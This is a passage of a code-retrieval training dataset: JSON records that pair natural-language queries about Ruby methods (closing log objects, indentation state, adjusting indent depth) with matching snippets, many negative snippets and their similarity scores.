prepend_view_path(path); end", "def path=(path)\n @path= path\n end", "def partial_path_without_prefix\n old_value = ActionView::Base.prefix_partial_path_with_controller_namespace\n ActionView::Base.prefix_partial_path_with_controller_namespace = false\n\n yield\n ensure\n ActionView::Base.prefix_partial_path_with_controller_namespace = old_value\n end", "def template_path(key, partial_root)\n path = key.split(\".\")\n path.delete_at(0) if path[0] == \"activity\"\n path.unshift partial_root\n path.join(\"/\")\n end", "def path=(p)\n @path = p\n end", "def set_path(id, path)\n\t\t\t@current_context.set_attribute(id, to_path(path))\n\t\tend", "def path path = nil\n @path = normalize_path(path) if path && configurable?\n @setup[:path] ||= @path ||\n (@controller.ctrl.slice.view.path if @controller) ||\n 'view/'\n end", "def test_to_partial_path\n assert model.respond_to?(:to_partial_path), \"The model should respond to to_partial_path\"\n assert_kind_of String, model.to_partial_path\n end", "def path_prefix=(value); end", "def path(path)\n @path = path\n end", "def fullpath\r\n@fullpath ||= super\r\nend", "def view_paths=(paths); end", "def post_configure\n super\n @path = File.expand_path(path)\n end", "def path=(v)\n check_path(v)\n set_path(v)\n v\n end", "def to_partial_path\n 'room'\n end", "def full_path_set\n self.full_path = self.parent ? \"#{self.parent.full_path}/#{self.slug}\".squeeze(\"/\") : \"/#{self.slug}\".squeeze(\"/\")\n end", "def view_path=( path )\n @@view_path = path\n end", "def update_remaining_path(remaining)\n @remaining_path = remaining\n end", "def partial_path_translator(path)\n path = remove_underscore_from_partial_path(path)\n self.class.path_translator(path).gsub(%r{/}, '.')\n end", "def setPath(path)\n @currentPath = path.clone\n @root = @currentPath.getRoot unless path.empty?\n end", "def assign_paths\n self.path = generate_path(self)\n end", "def path=( value )\n self.path_matcher = self.class.compile_matcher value\n super( value )\n end", "def set_path(id)\n [CONTENT_PATH, id].join('/')\n end", "def to_partial_path\n \"curation_concern/#{super}\"\n end", "def set_path(v)\n super(\"/\" + v.sub(/^\\//, \"%2F\"))\n end", "def to_partial_path\n ::File.basename(super)\n end", "def partial_search_paths(requested_partial)\n [].tap do |paths|\n if current_path_nested?\n paths << \"#{current_path.split('/')[0..-2].join('/')}/#{requested_partial.pluralize}\"\n end\n\n paths << current_path\n paths << config(:base_path)\n end.uniq\n end", "def to_partial_path\n 'spotlight/pages/page'\n end", "def path\n return @path if instance_variable_defined? :@path\n @path = path_components\n end", "def path_template\n\t\t\t\t@global.paths[@path_spec]\n\t\t\tend", "def path=(new_path)\n @path = Pathname.new(new_path).expand_path\n end", "def path=(new_path)\n location = self.class.new_location(conn_id, new_path, :default => :Root)\n if !location.path.empty?\n @location = location\n location_changed!\n end\n end", "def original_fullpath; end", "def full_path; end", "def to_partial_path\n \"users/user\"\n end", "def to_partial_path\n \"users/user\"\n end", "def partial_pieces(partial_path)\n if partial_path.include?('/')\n return File.dirname(partial_path), File.basename(partial_path)\n else\n return controller.class.controller_path, partial_path\n end\n end", "def render_page_path\n if Settings.website.base_url.present?\n render :partial => \"admin/general/page_path\", :locals => { :page_path => Settings.website.base_url+@page.path }\n else\n render :partial => \"admin/general/page_path\", :locals => { :page_path => @page.path }\n end\n end", "def actable_type_partial_path(notification, actable_type)\n \"#{notification_directory_path(notification)}/#{actable_type.underscore}\"\n end", "def to_partial_path\n \"alchemy/site_layouts/#{partial_name}\"\n end", "def path\n @path\n end", "def path\n @path\n end", "def path=(path)\n @path = to_pathname(path)\n end", "def path; super; end", "def set_global_path(id, path)\n\t\t\t@project.global_context.set_attribute(id, to_path(path))\n\t\tend", "def to_partial_path\n 'section'\n end", "def to_partial_path\n\t\t\t\t\"br_boleto/#{self.class.name.demodulize.underscore}\"\n\t\t\tend", "def prepared_path\n @prepared_path || @spec[:path]\n end", "def path\n\t\t@path\n\tend", "def path_prefix=(value)\n if value\n value.chomp! \"/\"\n value.replace \"/#{value}\" if value !~ /^\\//\n end\n @path_prefix = value\n end", "def partial; end", "def partial; end", "def partial; end", "def partial; end", "def search_path=(search_path); end", "def search_path=(search_path); end", "def virtual_path; end", "def virtual_path; end", "def virtual_path; end", "def config_path=(val)\n\t RequestStore.config_path = val\n\tend", "def config_key_path(partial_path)\n \"consul-alerts/config/#{partial_path}\"\nend", "def to_partial_path\n\t\t\"shouts/shout\"\n\tend", "def define_path(path)\n @move_route_index_path_finder ||= @move_route_index\n @move_route_index = 0\n @path = path\n end", "def update_path!\n update_path(:force => true)\n end", "def path=(path)\n @path = File.expand_path(path)\n end", "def path\n @path\n end", "def path\n @path\n end", "def path\n @path\n end", "def path\n @path\n end", "def partial\n segments = @page.template.split(\"/\").map!(&:underscore)\n\n # If we have multiple segments & they target an existing page partial\n if segments.count > 1 && lookup_context.exists?(segments.join(\"/\"), [\"pages\"], true)\n partial = segments.pop\n\n return partial_path(segments.join(\"/\"), partial)\n end\n\n partial_path(segments.join(\"/\"))\n end" ]
[ "0.76868606", "0.6377789", "0.6299602", "0.624957", "0.6177119", "0.61719507", "0.61224407", "0.61192596", "0.600344", "0.59989005", "0.5990171", "0.5989909", "0.5945604", "0.5945604", "0.5945604", "0.5932419", "0.59257174", "0.59257174", "0.5912433", "0.58887243", "0.58887243", "0.58887243", "0.58887243", "0.58887243", "0.58887243", "0.58648103", "0.58639014", "0.58639014", "0.5862601", "0.58544207", "0.58544207", "0.58458215", "0.57819366", "0.57789624", "0.5771658", "0.5751716", "0.5750653", "0.5744553", "0.5742009", "0.5734229", "0.5667221", "0.56475824", "0.5625284", "0.5622592", "0.56166524", "0.56071526", "0.55883914", "0.5588166", "0.55605155", "0.5554986", "0.5553416", "0.55418646", "0.5521034", "0.5519753", "0.5499009", "0.5491357", "0.54837364", "0.5480295", "0.5467975", "0.54539376", "0.5452552", "0.544912", "0.5447043", "0.54425585", "0.5433314", "0.5433314", "0.542541", "0.54142404", "0.5413568", "0.5406117", "0.54048675", "0.54048675", "0.54021615", "0.5399993", "0.5397205", "0.53949517", "0.53924704", "0.5392465", "0.53782934", "0.53710824", "0.53677547", "0.53677547", "0.53677547", "0.53677547", "0.5365793", "0.5365793", "0.5345978", "0.5345978", "0.5345978", "0.5326878", "0.5325522", "0.5321939", "0.5316832", "0.5309533", "0.5304193", "0.5301851", "0.5301851", "0.5301851", "0.5301851", "0.5296386" ]
0.55626136
48
Close this LogDest object and release its resources.
def close() unless fh.nil? # redirected.each { |rd| rd.close } fh.close if fhmustclose self.fh = nil self.fhmustclose = nil # self.redirected = [] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def close\n @log_file.close\n end", "def close\n flush\n @log.close if @log.respond_to?(:close)\n @log = nil\n end", "def closeLog()\n @logger.close() ;\n end", "def close\n CoreServices::asl_close_output_file(@context, @dest.to_i) if @dest\n CoreServices::asl_finalize_context(@context)\n @context = nil\n end", "def close\n @logdev.close if @logdev\n end", "def close\n @logdev.close if @logdev\n end", "def close\n flush\n @log.close if @log.respond_to?(:close) && !@log.tty?\n @log = nil\n end", "def close\n checkpoint\n @logfile.close\n end", "def close_logfile\n return unless @__current_logfile\n\n @__current_logfile.close\n logfile = @__current_logfile\n @__current_logfile = nil\n logfile\n end", "def close\n if threaded?\n @dump_queue.push nil\n @dump_thread.join\n end\n ensure\n logfile.close\n end", "def end_logging\n finalize_log_file()\n @logger.close()\n end", "def closeLog_old()\n @logStreamList.each{|strm|\n strm.close() if(strm.is_a?(File)) ;\n }\n end", "def close_log\n if @logging_io && @logging_io != $stdout\n @logging_io.close\n @logging_io = nil\n end\n end", "def close\n @logdevs.each do |name, ld|\n ld[:dev].close\n end\n end", "def close\n DeregisterEventSource(@eventlog_handle)\n ensure\n @eventlog_handle = nil\n end", "def close\n return if @ptr.nil?\n\n ObjectSpace.undefine_finalizer(self) if @finalize\n Native.sd_journal_close(@ptr)\n\n @ptr = nil\n end", "def close!\n _close\n @clean_proc.call\n ObjectSpace.undefine_finalizer(self)\n end", "def close\n @fh.close\n end", "def close\n @io.close\n @tar.close\n end", "def close\n @handle.closeFile\n @handle = nil\n end", "def close\r\n CloseEventLog(@handle)\r\n end", "def close\n logger.debug \"Closing #{self.class}##{object_id}\"\n @input.close unless @input.nil?\n @input = nil\n @output.close unless @output.nil?\n @output = nil\n end", "def close\n FileUtils.rm_rf @temp_dir\n end", "def close\n close!\n end", "def close\n @stream.close\n end", "def close\n self.disconnect\n end", "def close\n close_data_file\n end", "def close_and_cleanup\n\t\t\tself.close\n\t\t\t@parent.close\n\t\tend", "def close\n out.close\n end", "def close!\n finish!\n @fd.close\n end", "def close\r\n unless closed?\r\n _target_.close\r\n end\r\n self\r\n end", "def cleanup\n @pid = nil\n File.delete($config[:'pid-file']) rescue true\n @log.close rescue true\n end", "def close\n @io.close\n @tarreader.close\n end", "def close\n close_stream\n end", "def close\n return unless @target\n\n target.reload\n target.close\n rescue *CONNECTION_CLEAR_ERRORS => e\n Karafka.monitor.notice_error(self.class, e)\n ensure\n @target = nil\n end", "def close\n\t\t\tKernel.exit 0\n\t\tend", "def close\n end", "def close\n end", "def destroy\n if @mList.size > 0\n str = @mList.join\n dt = Time.now.localtime\n fname = dt.year.to_s + \"_\" + dt.month.to_s + \"_\" + dt.day.to_s\n fh = File.open(\"logs/\" + fname, \"a\")\n fh.write(str)\n fh.close\n @mList.clear\n end\n @mSocket.close\n storeDebug(\"Dumped final logs.\")\n end", "def close\n writer.close\n end", "def close\n # Force full flush call to ensure that all accumulated messages are flushed.\n buffer_flush(:final => true)\n end", "def close\n if @file != nil then\n if !@file.closed? then\n @file.close();\n @@log.d(\"Closing #{@path}\");\n else\n @@log.w(\"Cannot close #{@path} because already closed.\");\n end\n else\n @@log.w(\"Cannot close #{@path} because not open.\");\n end\n\n self;\n end", "def close\n return if @closed\n finalize_current_entry\n write_central_directory\n @buffer.close\n @closed = true\n end", "def close\n\t\trequest = Packet.create_request('stdapi_sys_eventlog_close')\n\n\t\trequest.add_tlv(TLV_TYPE_EVENT_HANDLE, self.handle);\n\n\t\tresponse = client.send_request(request)\n\t\treturn nil\n\tend", "def close\n @closed = true\n end", "def close\n\n # nothing to do here.\n end", "def close\n @queue.close\n end", "def close!\n safe_close\n end", "def close()\n @closed = true\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def shutdown\n if @out.respond_to?(:close)\n Log.debug(\"close, #{@out.inspect}\")\n @out.close\n end\n end", "def finishLogFile\n\n Thread.new do\n\n begin\n\n # Zips file\n Zlib::GzipWriter.open(@logFile + \".gz\") do |gzip|\n File.open(@logFile) do |fp|\n while chunk = fp.read(16 * 1024) do\n gzip.write chunk\n end\n end\n end\n\n # Remove original\n FileUtils.rm_f(@logFile) until !File.exist?(@logFile)\n rescue Exception => err\n\n CFDP::CFDP_Indication(\"Error finishing log file for transaction #{@ID}. Error is #{err}\")\n CFDP::CFDPEngine.instance.writeLog(1, \"Error finishing log file for transaction #{@ID}. Error is #{err}\")\n end\n end\n end", "def close\n return if @closed\n\n finalize_current_entry\n update_local_headers\n @cdir.write_to_stream(@output_stream)\n @output_stream.close\n @closed = true\n end", "def close\n @backlog.close\n end", "def close\n close_client_connections\n @event_file.close\n end", "def do_close\n @logger.debug(\"closing\", :plugin => self.class.name)\n close\n end", "def close(error = nil)\n\t\t\t\t\t\tif @stream\n\t\t\t\t\t\t\t@stream.finish_output(error)\n\t\t\t\t\t\t\t@stream = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend", "def close\n @secondary.close rescue nil\n end", "def close\n FileUtils.rm_rf(@workdir_path)\n end", "def close\n format.flush\n stream.close\n rescue Exception => e\n puts \"There was an issue closing the stream: #{e}\"\n end", "def close\n # don't need to close\n end", "def close\n @io.close if @io\n @m.munmap if @m\n @m = nil\n @io = nil\n end", "def finalize\n close\n end", "def close\n _do_if_open { _handle_closed! ; Dnet.fw_close(@handle) }\n end", "def close\n if @io\n io.close\n io.delete if io.class.name == \"Tempfile\"\n end\n end", "def close\n _do_if_open { _handle_closed! ; ::Dnet.route_close(@fw) }\n end", "def close\n close_cert_store\n remove_finalizer\n end", "def close_files\n [self.source, self.original, self.destination].each do |f|\n next unless f\n begin\n f.close\n File.unlink(f) if SystemInformation.env == 'production'\n rescue\n nil\n end\n end\n end", "def close_file_appender\n if defined? @appender\n @appender.close\n Logging::Logger.root.remove_appenders(@appender)\n end\n end", "def close() end", "def close() end", "def close() end", "def close() end", "def close()\n @file.close\n end", "def close() end", "def close!\n # Not implemented\n end", "def close\n @sp.close if @sp != nil\n @sp = nil\n end", "def close\n FileUtils.rm_r(path)\n end", "def close\n ensure_session!\n\n session.release!\n end", "def close_write\n if @output.respond_to?(:close)\n @output&.close\n end\n\n @output = nil\n end", "def close\n @h.close\n end", "def close\n @csv.close\n end", "def close\n\t\t@file_handle.close\n\tend", "def close\n\t\t@file_handle.close\n\tend", "def close\n @file.close\n end", "def close\n @s.close\n end", "def _close\n end", "def close\n if @src.data.respond_to? :unmap\n @src.data.unmap\n end\n end", "def close # :nodoc:\n @tmp.close if @tmp\n @master.close if @master\n @to_io.close if @to_io\n end", "def close\n @stream.close unless @stream.nil? || @stream.closed?\n end", "def Close\n end", "def close\n flush\n end" ]
[ "0.7508477", "0.7358225", "0.72758704", "0.72338986", "0.71806467", "0.70572823", "0.6941046", "0.6842373", "0.6480738", "0.6410555", "0.63509434", "0.6326071", "0.6288261", "0.62496614", "0.6247229", "0.6053666", "0.59991723", "0.5865725", "0.5847772", "0.57936174", "0.57820773", "0.57202905", "0.56666005", "0.5661055", "0.56343806", "0.5611297", "0.55798227", "0.55766654", "0.55589485", "0.5550188", "0.55469316", "0.5537417", "0.5518887", "0.5496825", "0.54694283", "0.54683256", "0.5467332", "0.5467332", "0.54619676", "0.54613256", "0.545867", "0.5452962", "0.54512507", "0.54461426", "0.5444761", "0.5441114", "0.5435297", "0.5423553", "0.542314", "0.5411647", "0.5411647", "0.5411647", "0.5411647", "0.5411647", "0.5411647", "0.5411647", "0.5411647", "0.5411647", "0.54075426", "0.540681", "0.5401075", "0.54009825", "0.5397745", "0.5394991", "0.53821915", "0.5372552", "0.5372089", "0.53710914", "0.53625333", "0.5361052", "0.5360994", "0.53192925", "0.5316703", "0.5309869", "0.5309522", "0.5308857", "0.53058946", "0.5296684", "0.5296684", "0.5296684", "0.5296684", "0.52947694", "0.5293783", "0.5290546", "0.52870834", "0.5281422", "0.5279037", "0.52716666", "0.5264868", "0.52639234", "0.52585953", "0.52585953", "0.5248524", "0.52414435", "0.52391505", "0.5237513", "0.5232532", "0.52266407", "0.5226041", "0.52250695" ]
0.5734517
21
Return the current indentation and folding state.
def get_state() [ indent_depth, folding_depth ] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def indentation\n \" \" * @indent_size * @indent_level\n end", "def indentation_level\n spaces = (@source.size - @stripped_source.size)\n spaces == 0 ? 0 : spaces / 2\n end", "def indentation; end", "def indentation; end", "def folding_open()\n self.folding_depth += 1\n fh.puts FOLDING_OPEN if folding and not disabled\n folding_depth - 1\n end", "def process_current_level\n @previous_level = @current_level * 1\n leading_whitespace = self.class.get_leading_whitespace_from_text @text\n if leading_whitespace == \"\"\n @current_level = 0\n \n # If there is leading whitespace but indent_token is still empty string\n elsif @indent_token == \"\"\n @indent_token = leading_whitespace\n @current_level = 1\n \n # Else, set current_level to number of repetitions of index_token in leading_whitespace\n else\n i = 0\n while leading_whitespace.index(@indent_token) == 0 do\n leading_whitespace = leading_whitespace[@indent_token.length..-1]\n i += 1\n end\n @current_level = i\n end\n \n self\n end", "def indent_in\n @indent.slice!(-1, 1)\n end", "def indent\n @__indent__ ||= 0\n @__indent__ += indentation\n end", "def indentation(indent_str)\n puts \" indentation #{indent_str.inspect}\" if @debug\n puts \" block_indentation: #{@block_indentation.inspect}\" if @debug\n @last_indentation = indent_str\n\n # if it's an indent and we know where to go next,\n # push that state. otherwise, push content and\n # clear the block state.\n if @block_state &&\n indent_str.start_with?(@block_indentation) &&\n indent_str != @block_indentation\n\n push @block_state\n else\n @block_state = @block_indentation = nil\n push :content\n end\n end", "def indentation(indent_str)\n puts \" indentation: #{indent_str.inspect}\" if @debug\n puts \" block_indentation: #{@block_indentation.inspect}\" if @debug\n @last_indentation = indent_str\n\n # if it's an indent and we know where to go next,\n # push that state. otherwise, push content and\n # clear the block state.\n if (@block_state &&\n indent_str.start_with?(@block_indentation) &&\n indent_str != @block_indentation\n )\n push @block_state\n else\n @block_state = @block_indentation = nil\n push :content\n end\n end", "def indent()\n #This is a stub, used for indexing\n end", "def block_base_indentation\n block_node.metadata[:indentation] ||= indentation_of_line(node)\n end", "def indent; end", "def indent; end", "def indent; end", "def indent; end", "def indent; end", "def level_of_indent\n self.scan(/^ *(?=\\S)/).map { |space| space.length }.min || 0\n end", "def level_of_indent\n self.scan(/^ *(?=\\S)/).map { |space| space.length }.min || 0\n end", "def state\n @current_state\n end", "def nominal_indent\n @nominal_indent ||= stats(whitespace_indents.reject(&:empty?)).mode || ' '\n end", "def list_indent_level\n @list_indent_stack.length\n end", "def list_indent_level\n @list_indent_stack.length\n end", "def indentation_pattern()\n return /^(?: \\t)+/\n end", "def _Indent\n _tmp = scan(/\\G(?-mix:\\t| )/)\n set_failed_rule :_Indent unless _tmp\n return _tmp\n end", "def unexpected_indent_offset; end", "def find_minimum_indent\n self.lines.map { |s| s.index(/[^\\s]/) unless s.empty? }.compact.min\n end", "def with_indent ()\n thread[:indent] += 1\n yield\n ensure\n thread[:indent] -= 1\n end", "def peek_current_state\n peek_state.last || @current_state\n end", "def if_current_indent_equal(indent)\n indent = indent.sub(/\\t/, \"\\s\" * 8)\n if @current_indent == indent\n @i += 1 # next line\n yield\n elsif indent.index(@current_indent) == 0\n @indent_stack.push(indent[@current_indent.size .. -1])\n [:INDENT, \":INDENT\"]\n else\n @indent_stack.pop\n [:DEDENT, \":DEDENT\"]\n end\nend", "def current_level\n @cur_level\n end", "def change_indent plus\n # nothing here\n end", "def indentation_scanned()\n raise LexerInternalError, \"indentation_scanned event may not occur when significant_indentation=false\", nil unless significant_indentation\n self.i_indentation_scanned()\n end", "def emit_indentation()\n puts \"Transition action 'emit_indentation'\"\n end", "def get_indent_level(line)\n\t\tres = 0\n\t\twhile line[res] == \"\\t\"\n\t\t\tres += 1\n\t\tend\n\t\treturn res\n\tend", "def _IndentedLine\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_Indent)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Line)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_IndentedLine unless _tmp\n return _tmp\n end", "def indent_level(line)\n count_indent(line)/$default_indent\nend", "def indent\n\t\tif @marked\n\t\t\tmark_row,row = ordered_mark_rows\n\t\t\tblock_indent(mark_row,row)\n\t\telse\n\t\t\taddchar(?\\t)\n\t\tend\n\tend", "def current_state\n find_state(@current_state_name)\n # TODO: add caching, i.e. with `@current_state ||= ...`\n end", "def spaces\n SPACES[@indent]\n end", "def with_indentation(&block) # :doc:\n @indentation += 1\n instance_eval(&block)\n ensure\n @indentation -= 1\n end", "def TreeView_GetIndent(hwnd) send_treeview_message(hwnd, :GETINDENT) end", "def current_state\n\t # Started and not finished\n\t if running? \n\t\tif respond_to?(\"state_machine\")\n # state_machine.status # => String\n # state_machine.status_name # => Symbol\n\t\t return state_machine.status_name\n\t\telse\n\t\t return :running\n\t\tend\n\t end\n\t\n\t # True, when task has never been started\n\t if pending? \n\t\treturn :pending \n elsif failed_to_start? \n\t\treturn :failed_to_start\n elsif starting?\n\t return :starting\n\t # True, when terminal event is pending\n elsif finishing? \n\t return :finishing\n\t # Terminated with success or failure\n elsif success? \n\t return :succeeded\n elsif failed? \n\t return :failed \n\t end\n\tend", "def unindent\n @__indent__ ||= 0\n @__indent__ -= indentation\n end", "def current_state\n Rails.cache.fetch([self, \"current_state\"]) { fetch_current_state }\n end", "def indented\n \"#{INDENTATION * indents}#{original}\"\n end", "def haml_indent\n ' ' * haml_buffer.tabulation\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def indentation(parents, last, symbols)\n i = parents.map do |parent_last|\n if !parent_last\n SYMBOLS[symbols][:has_parent]\n else\n SYMBOLS[symbols][:no_parent]\n end\n end\n\n if last\n i.join(\"\") + SYMBOLS[symbols][:last_item]\n else\n i.join(\"\") + SYMBOLS[symbols][:item]\n end\n end", "def toState(language, match)\n\n # This is a bit complex in order to get the proper highlighting we want.\n # We have an outer state that matches the code fence up to, but not\n # including, the newline. This makes it so that this begin section is\n # not highlighted. Then, internally, we'll match just the newline.\n beginRegExp = \"^#{@fence}(?:#{match})(?:[^\\\\S\\\\r\\\\n][^\\\\r\\\\n]*)?(?=[\\\\r\\\\n])\"\n endRegExp = \"^#{@fence}\"\n\n Node.state ({\n \"id\" => \"CodeBlock#{@name}-#{language}\",\n \"foldable\" => \"yes\",\n \"scope\" => \"meta.codeblock.markdown\",\n :children =>\n [\n Node.begin(Node.regex(beginRegExp)),\n Node.end(Node.regex(endRegExp)),\n Node.state({\n \"id\" => \"CodeBlock#{@name}-#{language}-Code\",\n \"usesymbolsfrommode\" => language,\n \"useautocompletefrommode\" => language,\n \"scope\" => \"meta.codeblock.#{language}\",\n :children =>\n [\n Node.begin({ :children => [Node.regex(\"[\\\\r\\\\n]\"), Node.autoend(\"#{@fence}\")] }),\n Node.end(Node.regex(\"[\\\\r\\\\n](?=#{@fence})\")),\n Node.import(\"mode\" => language)\n ]\n })\n ]\n })\n\n end", "def indent=(_arg0); end", "def state\n return 3 if deleted_at\n self[:state]\n end", "def getStateStackDepth()\n\t\t\treturn @_state_stack.size\n\t\tend", "def indent ( c )\n return @parser.parse( c )\n end", "def correct_indentation(node); end", "def current_depth\n 0\n end", "def current_state_string\n string = \"\"\n\n (@size * @size).times{ |i|\n if i % @size == 0\n string << \"\\n\\t\"\n end\n if @state[i]\n string << \"1 \"\n else\n string << \"0 \"\n end\n }\n string << \"\\n\"\n\n return string\n end", "def current_scope\n @scope\n end", "def indent1\n ' ' * 2\n end", "def increment_indent\n\t\t\t@indent[-1] += 1\n\t\tend", "def set_default_indent(line)\n $default_indent = count_indent(line)\nend", "def scan_indentation()\n found_indentation = scanner.scan(indentation_pattern)\n if found_indentation\n self.lexeme = found_indentation\n indentation_scanned()\n end\n end", "def _OptionallyIndentedLine\n\n _save = self.pos\n while true # sequence\n _save1 = self.pos\n _tmp = apply(:_Indent)\n unless _tmp\n _tmp = true\n self.pos = _save1\n end\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Line)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_OptionallyIndentedLine unless _tmp\n return _tmp\n end", "def inspect\n Thread.current[:formatador] ||= Formatador.new\n data = \"#{Thread.current[:formatador].indentation}<#{self.class.name}\"\n Thread.current[:formatador].indent do\n unless self.instance_variables.empty?\n vars = self.instance_variables.clone\n vars.delete(:@client)\n vars.delete(:@page)\n data << \" \"\n data << vars.map { |v| \"#{v}=#{instance_variable_get(v.to_s).inspect}\" }.join(\", \")\n end\n end\n data << \" >\"\n data\n end", "def current_state\r\n self.send(self.class.state_column).to_sym\r\n end", "def starts_block(block_state)\n @block_state = block_state\n @block_indentation = @last_indentation || ''\n puts \" starts_block: #{block_state.inspect}\" if @debug\n puts \" block_indentation: #{@block_indentation.inspect}\" if @debug\n end", "def current_scope\r\n game_state_manager.inside_state || game_state_manager.current_game_state || self\r\n end", "def indent_for(line); end", "def node_indent(node)\n @indentations[node] ||= engine.lines[node.line - 1][/^(\\s*)/]\n end", "def increases_indent_level?(input)\n first_token = input[/\\A([\\w\\d]+?)\\s/, 1]\n last_token = input.chomp[/[\\w\\d]+\\z/]\n result_first = first_token && INDENT_FIRST.include?(first_token)\n result_last = last_token && INDENT_LAST.include?(last_token)\n \n result_first || result_last\n end", "def indent()\n file = Tempfile.new(\"out\")\n infile = Tempfile.new(\"in\")\n file.write(self.to_s)\n file.flush\n bufc = \"FOO\"\n\n tmppos = @pos\n\n message(\"Auto format #{@fname}\")\n\n if [\"chdr\", \"c\", \"cpp\"].include?(get_file_type())\n\n #C/C++/Java/JavaScript/Objective-C/Protobuf code\n system(\"clang-format -style='{BasedOnStyle: LLVM, ColumnLimit: 100, SortIncludes: false}' #{file.path} > #{infile.path}\")\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"Javascript\"\n cmd = \"clang-format #{file.path} > #{infile.path}'\"\n debug cmd\n system(cmd)\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"ruby\"\n cmd = \"rufo #{file.path}\"\n debug cmd\n system(cmd)\n bufc = IO.read(file.path)\n else\n return\n end\n self.update_content(bufc)\n center_on_current_line #TODO: needed?\n file.close; file.unlink\n infile.close; infile.unlink\n end", "def indent( mod = nil )\n #p [ self.id, level, mod, :INDENT ]\n if level <= 0\n mod ||= 0\n else\n mod ||= options(:Indent)\n mod += ( level - 1 ) * options(:Indent)\n end\n return \" \" * mod\n\t\tend", "def starts_block(block_state)\n @block_state = block_state\n @block_indentation = @last_indentation || ''\n puts \" starts_block #{block_state.inspect}\" if @debug\n puts \" block_indentation: #{@block_indentation.inspect}\" if @debug\n end", "def indent\n return unless blank?\n write(' ' * @indentation)\n self\n end", "def state\n @__state\n end", "def to_s (indent = 0)\n (\" \" * indent) + path.to_s + \" : \" + state.to_s\n end", "def base_description(_)\n if style == brace_alignment_style\n 'the position of the opening parenthesis'\n else\n 'the start of the line where the left parenthesis is'\n end\n end", "def to_s (indent = 0)\n (\" \" * indent) + path.to_s + \" : \" + state.to_s\n end", "def with_indentation(spaces=0)\n alter do\n @with_indentation = !!spaces\n @indentation_num = spaces\n end\n end", "def state()\n info[:state]\n end", "def depth\n @cur_level - @base_level + 1\n end", "def get_state()\n winner = check_vertical_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_horizontal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_diagonal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n if(get_empty_space.length == 0)\n return \"draw\"\n end\n return \"none\" \n end", "def with_indentation(spaces = 0)\n alter do\n @with_indentation = !!spaces\n @indentation_num = spaces\n end\n end", "def state\n @state\n end", "def current_state\n current = StateTransition.where(record_id: id, record_type: self.class.to_s, current: true).order(id: :desc).limit(1).first\n if current\n current.to_state.to_sym\n else\n self.initial_state.to_sym\n end\n end", "def unexpected_indent_offset\n configured_indentation_width - expected_indent_offset\n end", "def current_state_number\n 1\n end", "def state\n @state\n end", "def indent_line\n result = false\n level = calculate_indentation\n return result if level.nil? || level < 0\n @buffer.save_excursion do\n @buffer.beginning_of_line\n @buffer.composite_edit do\n if @buffer.looking_at?(/[ \\t]+/)\n s = @buffer.match_string(0)\n break if /\\t/ !~ s && s.size == level\n @buffer.delete_region(@buffer.match_beginning(0),\n @buffer.match_end(0))\n else\n break if level == 0\n end\n @buffer.indent_to(level)\n end\n result = true\n end\n pos = @buffer.point\n @buffer.beginning_of_line\n @buffer.forward_char while /[ \\t]/ =~ @buffer.char_after\n if @buffer.point < pos\n @buffer.goto_char(pos)\n end\n result\n end", "def reset_indentation_length()\n puts \"reset_indentation_length\"\n end", "def current_line_number; end" ]
[ "0.6402327", "0.63563186", "0.63514775", "0.63514775", "0.6074035", "0.60485125", "0.60046595", "0.5922211", "0.58951724", "0.588321", "0.58592373", "0.58267236", "0.581454", "0.581454", "0.581454", "0.581454", "0.581454", "0.5787228", "0.5787228", "0.5767474", "0.57244825", "0.5696915", "0.5696915", "0.56664723", "0.5662541", "0.5585521", "0.5533098", "0.55074257", "0.5485338", "0.54737765", "0.542428", "0.5390477", "0.53880394", "0.53809816", "0.53759414", "0.5357181", "0.5314293", "0.53062505", "0.5292606", "0.5243483", "0.523674", "0.5220893", "0.5213638", "0.519411", "0.51788104", "0.51766056", "0.51598334", "0.5128478", "0.5128478", "0.5128478", "0.5128478", "0.5128478", "0.5128478", "0.5128478", "0.5128478", "0.5128478", "0.5128478", "0.51177293", "0.51163614", "0.51037794", "0.5092962", "0.5083589", "0.50816333", "0.5065403", "0.50554204", "0.50267315", "0.5025081", "0.5004622", "0.4991585", "0.49875808", "0.49862373", "0.49786058", "0.49701947", "0.4969227", "0.4962494", "0.4949373", "0.49455407", "0.49385276", "0.49277928", "0.4918516", "0.49154735", "0.49050683", "0.4901351", "0.48993605", "0.4891209", "0.48862362", "0.48818055", "0.4880591", "0.48749813", "0.48708123", "0.48688886", "0.48481452", "0.48425373", "0.4834638", "0.48262873", "0.482452", "0.48165774", "0.48145938", "0.48105514", "0.4801636" ]
0.83331215
0
Adjust the indentation depth. Returns the indent depth BEFORE it was adjusted.
def adj_indent(adjust = 1) old, self.indent_depth = indent_depth, (indent_depth+adjust) self.indent_str = (indenting == true) ? (TAB * indent_depth) : EMPTY old end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
